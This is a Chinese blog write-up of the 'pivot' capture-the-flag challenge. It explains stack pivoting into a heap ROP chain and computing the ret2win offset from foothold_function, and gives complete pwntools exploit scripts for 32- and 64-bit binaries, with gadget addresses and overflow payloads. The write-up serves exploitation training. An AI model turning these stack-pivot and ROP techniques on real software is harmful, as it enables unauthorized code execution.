pivot

作者: n0va | 来源:发表于2019-01-19 14:03 被阅读0次

    这道题有两次输入,第一次输入到堆中,第二次输入到栈中,而且很明显第二次的可溢出大小不够用来构造rop链,所以我们需要将rop链构造在堆中,然后利用栈迁移来执行rop链。题目中也将堆的地址打印了出来 ,降低了不少难度。
    给出的.so文件有这个函数可以用:

    void __noreturn ret2win()
    {
      system("/bin/cat flag.txt");
      exit(0);
    }
    

    显然我们构造的rop链要能够控制程序跳转到这个函数去执行,这里需要用到计算偏移
    elf函数中只有foothold_function在.so中也出现,而且也在got表中,所以ret2win的真实地址可以结合foothold_function算出来,这里需要注意的是,需要先将foothold_function函数调用一次,got表中才有foothold_function的真实地址。
    这里说一下我踩过的坑,偏移有两种算法:
    1、真实地址-libc地址
    2、两个licb函数地址相减
    一开始我用第一种方法算偏移,理论上来说两种方法都没错,但是因为函数需要调用一次后才能在got表中有真实地址,所以直接拿got表中的地址来当真实地址的错的,所以最好使用第二种方法算偏移,然后在构造rop的时候将其中的一个地址调用一次使得got表中有它的真实地址再拿去加偏移就能得到目标函数的真实地址。
    exp:

    from pwn import *
    sh = process('./pivot32')
    elf = ELF('./pivot32')
    libc = ELF('./libpivot32.so')
    foothold_plt     = elf.plt['foothold_function']
    foothold_got_plt = elf.got['foothold_function']
    foothold_sym     = libc.symbols['foothold_function']
    ret2win = libc.symbols['ret2win']
    
    # offset = int(foothold_got_plt - foothold_sym)    这里就是直接用got表的地址去算偏移,其实是错的,因为foothold_function函数没有调用过,got表中并不是真实地址
    # offset = int(ret2win - foothold_sym)
    offset = ret2win - foothold_sym
    #offset = foothold_sym - ret2win    这里算偏移的时候要注意结果不能为负数 
    
    sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
    
    leakaddr = int(sh.recv(10),16)    #接收题目打印出来的堆地址
    print hex(leakaddr)  
    pause()
    
    add_eax_ebx = 0x080488c7
    mov_eax_eax = 0x080488c4
    pop_eax = 0x080488c0
    pop_ebx = 0x08048571
    call_eax = 0x080486a3
    leave_ret = 0x080486a8
    payload_1 = ""
    payload_1 += p32(foothold_plt)    #将foothold_function函数调用一次
    payload_1 += p32(pop_eax)
    payload_1 += p32(foothold_got_plt)   #上面调用了一次这里就是真实地址了
    payload_1 += p32(mov_eax_eax)
    payload_1 += p32(pop_ebx)
    payload_1 += p32(offset)
    payload_1 += p32(add_eax_ebx)
    payload_1 += p32(call_eax)
    
    sh.sendline(payload_1)
    
    payload_2 = ""
    payload_2 += 0x28 * "A"
    payload_2 += p32(leakaddr-4) + p32(leave_ret)
    
    sh.sendline(payload_2)
    sh.interactive()
    

    64位exp:

    from pwn import *
    sh = process('./pivot')
    elf = ELF('./pivot')
    so = ELF('./libpivot.so')
    foothold_plt = elf.plt['foothold_function']
    foothold_got_plt = elf.got['foothold_function']
    footold_sym = so.symbols['foothold_function']
    ret2win_sym = so.symbols['ret2win']
    offset = ret2win_sym - footold_sym
    sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
    addr = int(sh.recv(14),16)
    print hex(addr)
    pause()
    mov_rax_rax = 0x0000000000400b05 
    add_rax_rbp = 0x0000000000400b09
    pop_rax = 0x0000000000400b00
    pop_rbp = 0x0000000000400900
    pop_rdi = 0x0000000000400b73
    call_rax = 0x000000000040098e
    # pop_rsp_r13_r14_r15_ret = 0x0000000000400b6d
    xchg_rax_rsp = 0x0000000000400b02
    sh.recvuntil("> ")
    payload_1 = ""
    payload_1 += p64(foothold_plt)
    payload_1 += p64(pop_rax) + p64(foothold_got_plt)
    payload_1 += p64(mov_rax_rax)
    payload_1 += p64(pop_rbp) + p64(offset)
    payload_1 += p64(add_rax_rbp)
    payload_1 += p64(call_rax)
    sh.sendline(payload_1)
    sh.recvuntil("> ")
    payload_2 = ""
    payload_2 += 0x28*"A"
    payload_2 += p64(pop_rax) + p64(addr) + p64(xchg_rax_rsp)
    # payload_2 += p64(pop_rsp_r13_r14_r15_ret) + p64(addr) + p64(3) + p64(4) + p64(5)
    sh.sendline(payload_2)
    
    sh.interactive()
    

    相关文章

      网友评论

          本文标题:pivot

          本文链接:https://www.haomeiwen.com/subject/ubaadqtx.html